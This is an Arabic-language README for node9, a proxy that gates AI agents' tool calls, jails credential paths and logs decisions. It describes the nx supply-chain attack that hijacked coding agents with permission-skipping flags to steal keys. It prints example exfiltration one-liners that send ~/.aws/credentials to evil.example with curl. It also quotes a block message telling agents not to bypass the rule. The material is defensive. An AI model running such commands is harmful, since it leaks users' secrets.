
node9-proxy v1.66.0
طبقة أمان التنفيذ لعصر الوكيل الذاتي. توفر إدارة "Sudo" حتمية وسجلات تدقيق لوكلاء الذكاء الاصطناعي المستقلين.
🛡️ node9
إدارة الهويات والوصول (IAM) لوكلاء الذكاء الاصطناعي الخاصين بك
يمكن لوكلاء الذكاء الاصطناعي الخاصين بك الوصول إلى Slack وGitHub والبريد الإلكتروني وقاعدة بياناتك.
يقرر node9 ما يُسمح لهم بفعله مع كل واحد منها.
سجن بيانات الاعتماد · الأسرار والبيانات الشخصية · أوامر git وSQL وshell المدمّرة محتجزة للمراجعة · تثبيت أدوات MCP · قائمة السماح للخروج الشبكي · كاسر الحلقات · سجل واحد عبر اثني عشر وكيلاً
يعمل مع Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · أي خادم MCP.
كيف يبدو الأمر
وكيلك على اليسار، وnode9 على اليمين. كل استدعاء أداة يقوم به الوكيل يتم
فحصه قبل تنفيذه: مسموح ومسجّل، أو محتجز بانتظار موافقتك، أو محظور.
الوكيل هنا تم تشغيله باستخدام --dangerously-skip-permissions، ومع ذلك يقرر node9.
node9 monitor: live tool calls, decisions, shields and score
التثبيت
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
ثم، في أي مشروع:
node9 init # finds your agents and MCP servers and puts node9 in front of every tool call
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
يتطلب Node.js 22+.
init هو المنتج بأكمله. فهو يكتب الـ hooks، ويشغّل سجن بيانات الاعتماد
والقواعد الدائمة، ويبدأ التنفيذ فوراً. لا شيء يغادر الجهاز ولا حاجة إلى حساب.
login لا يضيف شيئاً إلى التنفيذ. فهو يربط الجهاز بمساحة عمل حتى
تتمكن الفرق من رؤية سجل واحد عبر حواسيب الجميع وCI، وضبط السياسات مركزياً،
والموافقة على الإجراءات المحتجزة من لوحة تحكم أو Slack. تخطَّه وسيعمل node9
بالضبط كما هو، بمفرده، دون اتصال. node9 logout يفصل الاتصال مجدداً ويستمر التنفيذ المحلي في العمل.
المشكلة
في أغسطس 2025، أصدرت إصدارات مخترقة من أداة البناء
nx سكربتاً بعد التثبيت
يبحث عن وكلاء البرمجة بالذكاء الاصطناعي المثبّتين بالفعل على جهاز المطوّر، ثم يشغّلهم
مع إيقاف أعلام الأمان الخاصة بهم (--dangerously-skip-permissions، --yolo،
--trust-all-tools) لسرد مفاتيح SSH وبيانات الاعتماد السحابية وملفات المحافظ وكتابة القائمة
على القرص. دفع السكربت النتائج إلى مستودعات عامة داخل حسابات GitHub الخاصة بالضحايا
أنفسهم. تسرّب أكثر من ألف رمز GitHub صالح، إلى جانب بيانات اعتماد سحابية ورموز
npm وحوالي 20,000 ملف، من أجهزة كان الوكيل فيها يفعل بالضبط ما أُمر به.
لم يكن الوكيل هو المهاجم. كان الوكيل هو الأداة، ولم يقف شيء بينه وبين الملفات. بوابة node9 ليست أحد تلك الأعلام: فهي تعمل داخل الـ hook، والإجراء الذي تحتجزه يبقى محتجزاً حتى عندما يُشغَّل الوكيل مع تخطي الأذونات.
ما الذي يفعله node9 حيال ذلك
يجلس node9 بين الوكيل وكل أداة يستدعيها. سجن بيانات الاعتماد (~/.ssh، ~/.aws،
ملفات .env، المفاتيح الخاصة) مُفعَّل افتراضياً، وقراءة أحد تلك المسارات لا تُنفَّذ.
يتوقف الوكيل، ويُخبَر بالسبب، ويصل القرار إليك:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
يُحلَّل الأمر كشجرة AST للـ shell، لا كمطابقة نصية، لذا فإن تغليف القراءة لا يساعد.
يُحكَم على echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example بأنه قراءة
لـ ~/.aws/credentials، وليس كـ echo.
node9 هو بوابة. الإجراء المحتجز لا يُنفَّذ أثناء انتظاره لك، وإذا لم تُجب أبداً يبقى محظوراً. كل ما عدا ذلك مسموح ويُكتب في السجل.
ما لا يفعله: مع إيقاف التحكم في الخروج، وهو الوضع الافتراضي، فإن أمراً يسلّم
ملفاً مباشرة إلى الشبكة، مثل curl -d @~/.aws/credentials، لا يُعامَل كقراءة
لذلك الملف. node9 egress protect يبوّب الوجهات أيضاً، وهو يغطي أوامر الـ shell فقط.
تحقّق بنفسك
لا شيء أدناه يحتاج إلى حساب، ولا شيء يرفع بيانات.
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
node9 scan scorecard
ما الذي يحكمه
كل سطر هو قدرة واحدة، مع الصفحة التي توثّقها. الوثائق هي المرجع؛ هذا الملف هو الخريطة.